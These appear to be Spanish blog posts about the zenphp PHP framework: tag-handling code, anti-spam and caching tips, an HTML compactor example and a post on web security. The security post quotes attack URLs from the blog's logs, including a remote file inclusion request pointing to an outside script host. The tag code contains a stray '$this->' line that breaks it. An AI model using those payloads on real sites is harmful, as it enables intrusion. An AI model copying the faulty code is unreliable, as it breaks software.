Tratamiento dinámico avanzado con etiquetas entre dominios



Para compartir el uso de etiquetas entre varios dominios lo que se suele hacer es compartir una base de datos en un servidor y utilizar varias aplicaciones que comparten modelos de datos y modifican las vistas (visualizadores) para mostrar los resultados en una sinergía creada por los usuarios que rellenan artículos, contenido, noticias, productos, etc. y establecen las etiquetas asociadas a toda esta información…

La función que va en la clase tags del modelo de datos de zenphp es:

 /**
  * Devuelve un array con todos los tags de todas las tablas que coinciden con $nombre
  **@TODO: Es inestable, no carga bien los modelos de datos que no estuvieran ya cargados...
  *
  * @param str $nombre
  * @param str $modelos
  * @return array
  */
 function obtener_lista($nombre="",$modelos=""){
  $nombre    = str_replace("_","-",$nombre);
  $modelos   = empty($modelos)?array("noticias","contenidos"):split(",",$modelos);
  if (!is_array($modelos)) return false;
  $etiquetas = array();
  foreach ($modelos as $modelo){
   $unset =false;
   if (!$this->padre->$modelo instanceof zen_modelo_datos) {
   	if (!zen___importar_modelos($this->padre,$modelo)) {
   		continue;
   	} else {
   		$unset = true;
   	}
   }
   $c = split(",",$this->padre->$modelo->campos);
   $this->padre->$modelo->poner_campos_al_modelo();
   $r = $this->padre->$modelo->obtener($c[0].",tags");
   $n = count($r);
   for ($i=0; $i<$n; $i++){
   	$tags = str_replace(array(" ,",", "),",",$r[$i]['tags']);
    $tags = split(",",$tags);
    foreach ($tags as $tag){
     $tag = html_entity_decode($tag);
     if (empty($nombre)){ //No buscamos un tag en concreto sino todos:
      if (!in_array($tag,$etiquetas)) //Insertar en la lista
       $etiquetas[] = $tag;
      continue;
     }
     if (zen_codifica_nombre_para_url($tag)==
    	zen_codifica_nombre_para_url($nombre))
     {
      if (!in_array($r[$i][$c[0]],$etiquetas)){
     	array_push($etiquetas,array(
     	 "modelo"=> $modelo,
     	 "id"   =>  $r[$i][$c[0]]
        ));
      } //comprobacion de si se estaba repetida
     } //comprobacion de si es la buscada
    } //bucle foreach de tags
   } //bucle for que recorre todos los tags de este campo
   if ($unset) unset($this->padre->$modelo);
  } //bucle for que recorre todos los modelos especificados
  return $etiquetas;
 }

Para utilizar una función dinámica que un visualizador (html_tags extends zen_html_modelo_datos) interprete usando diferentes plantillas para cada dominio podemos usar la siguiente :

 /**
  * Mostrara una pagina con un listado de tags, que enlazan a los distintos dominios,
  * se especifica el $dominio para ver cual de los contenidos han de rellenarse
  *
  * @param str $tag
  * @param str $dominio
  */
 function ver($tag,$dominio=ZF_SITIO_WEB){
  //Intentemos encontrar el tag
  $tags = $this->padre->obtener_lista($tag);
  $p = new zen_plantilla();
 // if (!count($tags)) die(sprintf("no hay ningun elemento con el tag %s",$tag));//header("Location: ".ZF_SITIO_WEB);
  $r['tag'] = str_replace("_","-",zen_sanar($tag));
  $r['enlaces'] = "";
 
  foreach ($tags as $tag){
   switch ($tag['modelo']){
   	case 'noticias': //Noticias a la web del grupo (corporativa)
   	 $tit = $this->padre->padre->noticias->obtener_campo($tag['id'],"titular");
   	 $r['enlaces'] .= 'Noticia: <a href="'.ZF_SITIO_WEB.'noticias/ver/'.$tag['id'].'/'.zen_codifica_nombre_para_url($tit).
   	 	'/">'.$tit.'</a><br>';
   	 break;
   	case 'contenidos': //Presentacion.. (informacion corporativa)
   	 $tit = $this->padre->padre->contenidos->obtener_campo($tag['id'],"nombre");
   	 $zona= $this->padre->padre->contenidos->obtener_campo($tag['id'],"zona");
   	 $r['enlaces'] .= 'Presentaci&oacute;n: <a href="'.ZF_SITIO_WEB.'presentacion/'.
   	 	$tag['id'].'/'.zen_codifica_nombre_para_url($tit).
   	 	'/">'.$tit.'</a><br>';
   	 break;
   }
  }
  $this->padre->padre->contenido['contenido'] = $p->contenido_reemplaza("etiquetas/indice.html",$r);
  switch ($dominio){
   case ZF_SITIO_WEB:
    $this->
    $this->padre->padre->contenido['columna_izda1'] = $this->listar();
    $this->padre->padre->html->mostrar_web("Etiqueta ".
  	 zen_sanar($r['tag']),"sel_inicio","cab_contacto.html","rut_etiqueta.html"); 
  	break;
   default:
    //$titulo,$menu,$ruta="",$col_izda="indice"
    $this->padre->padre->html->mostrar_web("Etiqueta ".$tag,"sel_indice","rut_etiqueta.html","indice"); 
  	break;
  } 
 } //fin-ver

Howto: filtrar datos de forma avanzada pero pensando como un principiante

En principio, parece que el título del post es algo de lo más paradójico, pero nada más lejos de la realidad, en zenphp siempre hay un Joker, y éstos son los trucos que enseño en este blog, triquiñuelas rápidas y complejas pero fáciles de entender y modificar en poco tiempo.

Continue reading

Aplicaciones web seguras

Escribí hace algún tiempo un artículo donde explicaba el problema de que se diera mucho a conocer un software hasta que mucha gente lo usara ,comentándolo públicamente…y por qué existe un riesgo mayor mientras más fama tenga…
He encontrado indicios de intentos de explotación de agujeros de distinta índole en los logs de este blog, aquí teneis ejemplos de lo que se pretende hacer…

¡¡Lanzamiento de caña!!

  • Con la siguiente dirección:
    home.php?section=http://www.backbreakacres.com/22/test.txt??
    se pretende inyectar un ataque con una línea de ejecución de comando de consola, detectando previamente el sistema operativo para lanzar un servicio de red…para ello se necesita comprobar si el parámetro safe_mode de PHP está activado…algo relativamente sencillo que puede ser testeado rápidamente y tiene grabes consecuencias
  • Por medio del siguiente ataque
    URL%20http://yoshishome.chat.ru/images se intenta engañar a un controlador de una aplicación web
    con la aspiración ni más ni menos que de insertar todo un conjunto de órdenes en una cadena que está ofuscada y encriptada para que los analizadores de código no encuentren ninguna linea u orden sospechosa en tiempo de ejecución, recordemos el peligro de la función eval() de PHP…
  • Técnicas raras usando métodos que concatenan dirección tras dirección con parámetros ++GET para engañar al analizador de .htaccess de Apache y conseguir descargar ficheros ,etc.

A esto se ha de añadir otros tipos de ataque como las inyecciones de SQL en los formularios, modificación de cookies de sesión, des-habilitación de JavaScript, antes,mientras y tras la carga de una web, alteración del envío de una petición por métodos POST y GET, aprovechar vulnerabilidades conocidas en general de PHP, como la escritura de ficheros y ataques XSS…etc.
Por eso, un buen framework ha de pensar en estas cosas tan importantes y dar soluciones a la altura, en mi caso,he propuesto algunas…y están implementadas de forma transparente.
Si no teníamos suficiente con diseñar las webs para cada tipo de navegador (y S.O.) además tenemos que estar atentos a los ataques del exterior, jeje

Pruebas con caché y anti-spam para la forja

Hace tiempo que me procuré de encontrar un método eficaz y simple para evitar spam en los foros de la forja pero nunca lo encontré, asi que ideé uno, por si teneis problemas con el spam en vuestros foros aquí teneis el código, son sólo dos ficheros, vuestro servidor necesita tener CURL instalado.

  1. Generador de enlaces de spam en los foros de tu proyecto de la Forja
  2. Iframe que incrusta los formularios para borrar los mensajes de spam

Para que funcione, sólo debéis colocarlo en vuestro servidor, y llamar a miservidor.es/borra_spam.php.
Para configurarlo:

  • $id_proyecto es vuestro número de proyecto, aparece cuando pincháis en los foros de vuestro proyecto ( ?group_id=#___# ) donde #___# es vuestro ID de proyecto
  • $id_foros es un array con todos los identificadores de los foros que tengais: (?forum_id=#___#) donde #___# es vuestro id de foro
  • $palabra es la/s palabra/s que hay en los mensaje de spam…y ¡cuidado! debe ser una sentencia única, porque es peligroso y podeis borrar mensajes que no queríais borrar sin poder recuperarlos…podeis probar qué encuentra con el buscador en el que se basa este generador de anti-spam con el genial buscador avanzado que trae la Forja en:
    https://forja.rediris.es/search/advanced_search.php?group_id=#___#
    donde #___# es vuestro id de proyecto.

El generador de enlaces de spam recorrerá los foros especificados abriendo una conexión con el buscador avanzado, es por eso que debeis tener una sesión abierta como administrador para que aparezcan los formularios de edición y se pueda establecer la conexión correctamente al hacer el envío pinchando en cada uno de los botones “Borrar” de cada iframe, que aparecerán por cada acierto de la/s palabra/s encontradas en los foros del proyecto, en mi caso , el atacante spam me envia cada dia una ristra de posts donde aparece la palabra drug, cosa que no suelo utilizar XD en mis foros, por eso puedo encontrarlo y borrarlo rápidamente.

Aquí una captura:

Cambiando de tema, en este foro hay nuevas pruebas con Akismet para vuestras aplicaciones así como de un ejemplo de caché.

Pasaré a explicar un poco mejor como funciona esto de la caché: esto es lo que hace que vuestras aplicaciones suban muchos puntos en cuanto a rendimiento,tal como hace Drupal, de forma que se guardan en la caché contenidos que no vayan a cambiar mucho,estableciéndose el tiempo límite y asi, cargar el contenido generado (sólo una vez) desde un fichero en lugar de procesarlo todo muchas veces, es un truco que también usa WordPress, sin embargo se puede utilizar para cualquier parte de la aplicación, por ejemplo si lleváis un número de comentarios en un artículo mayor de 50, es tonteria leerlos todos y aplicarles las plantillas, en lugar de eso, se genera hasta un número límite de 50, se guarda una vez y se establece una caché para esos primeros cincuenta.

En cuanto al progreso, se ha avanzado mucho con el gestor de contenidos, el generador está a punto para insertar dicho generador como un administrador con una aplicación zen_aplicacion_administrador…

Salu2!

Pisando el acelerador con zenphp

Hay un nuevo documento en la sección de documentos de zenphp en la forja
https://forja.rediris.es/docman/?group_id=252
donde se exponen los distintos métodos para acelerar PHP y zenphp al máximo en nuestro servidor asi como nuestras aplicaciones! 🙂

Ésta es la dirección:
https://forja.rediris.es/docman/view.php/252/521/AceleradoresPHP_final.pdf

He escrito además un pequeño artículo acerca de los aceleradores en forma de plugin para WordPress, en la web de la comunidad de PHP granadina : GranadaPHP.

Que la santa semana esté con vosotros ,aquí y ahora.

Saludos.

Primeras pruebas con el compactador de zenphp

Las primeras pruebas del compactador de HTML,JavaScript y CSS integrado en zenphp ,para su uso en la clase zen_plantilla está siendo todo un éxito, aunque el algoritmo es sencillo,ya que es usado para compactar/comprimir los espacios en blanco y demás caracteres sobrantes, puede reemplazarse dicha llamada por otra función como la de la librería: minify.

Un programa de ejemplo es tan sencillo como lo siguiente:

 

<?php
require_once 'zenphp/clases/clase_zen_compactador.php';
$html = file_get_contents('http://www.elpais.es/');
$tamano_antes = mb_strlen($html, '8bit');
$compactador = new zen_compactador(array(
 'mostrar_buffer' => false
));
$html = $compactador->destructor($html);
$tamano_despues = mb_strlen($html, '8bit');
echo 'Con los espacios en blanco eliminados, el tamaño del fichero HTML se reduce de '.
    round($tamano_antes/1024, 2).
    'KB a '.
    round($tamano_despues/1024, 2).
    'KB,ahorramos '.round((1-($tamano_despues/$tamano_antes))*100, 2).
    '%<br />-----------------<br /><br />'.
    $html; 
?>

La salida obtenida es:
——————
Con los espacios en blanco eliminados, el tamaño del fichero HTML se reduce de 133.52KB a 111.55KB,ahorramos 16.46%
—————–

podeis comprobarlo 🙂
Si no teneis acceso afuera desde el servidor por problemas de firewall, podeis guardar la web a mano o con PERL en un fichero y luego abrirla con

$html = file_get_contents('p1.html');

No necesitamos nada más que obtener la clase desde el repositorio para hacer la prueba XD

Grafos multietapa en zenphp

Cómo ..¿grafos multietapa?…¿eso qué es y para qué sirve?
pues resulta que en un grafo multietapa sólo se puede llegar a un punto “etapa” desde una etapa anterior, y sólo se puede ir a una etapa posterior…hasta ahí bien…pero en la fase final convergen varias líneas!
Repasemos ésta cosa de los estados de una aplicación multiusuario y echemos mano de la memoria…a ver a qué me suena?,ah si!…el carro de la compra!…bueno…y transacciones, reservas de vuelo, etc. etc.

Al final resulta ser un problema de minimización…en principio, pero claro, quién nos iba a decir que un problema de Programación Dinámica es rentable en una aplicación de servidor,…que necesita, precisamente , descargar la CPU a toda costa…entonces, ésto requiere una reflexión más profunda, dado que no podemos sobrecargar un servidor con cálculos debe existir una solución intermedia para realizar las conexiones entre ,pongamos un ejemplo: unidades y productos…una conexión es una asignación con máximo beneficio…¿y qué es el beneficio en una aplicación tipo web?, ésta elección amigos, puede ser la solución al problema…ya que la matriz que vamos a construir puede llegar a ser muy grande, lo más probable es que desechemos el problema una vez que concluimos la solución…pero, ¿por qué no es factible? pensándolo bien, realmente no necesitamos llegar a analizar el problema completo…es decir, podemos cortar el proceso en un punto de la resolución si el tiempo que está llevando a cabo es demasiado y aplicar otro algoritmo con peor solución pero mejor tiempo medio…o…podemos calcular las mejores soluciones de los subproblemas y utilizarlas para procesar las peticiones del cliente al servidor…es decir, realizar las mejores asignaciones por lotes.
Casos de uso: procesamiento de aplicaciones que necesiten comprobar el estado de semáforo 🙂
Veamos una implementación

Continue reading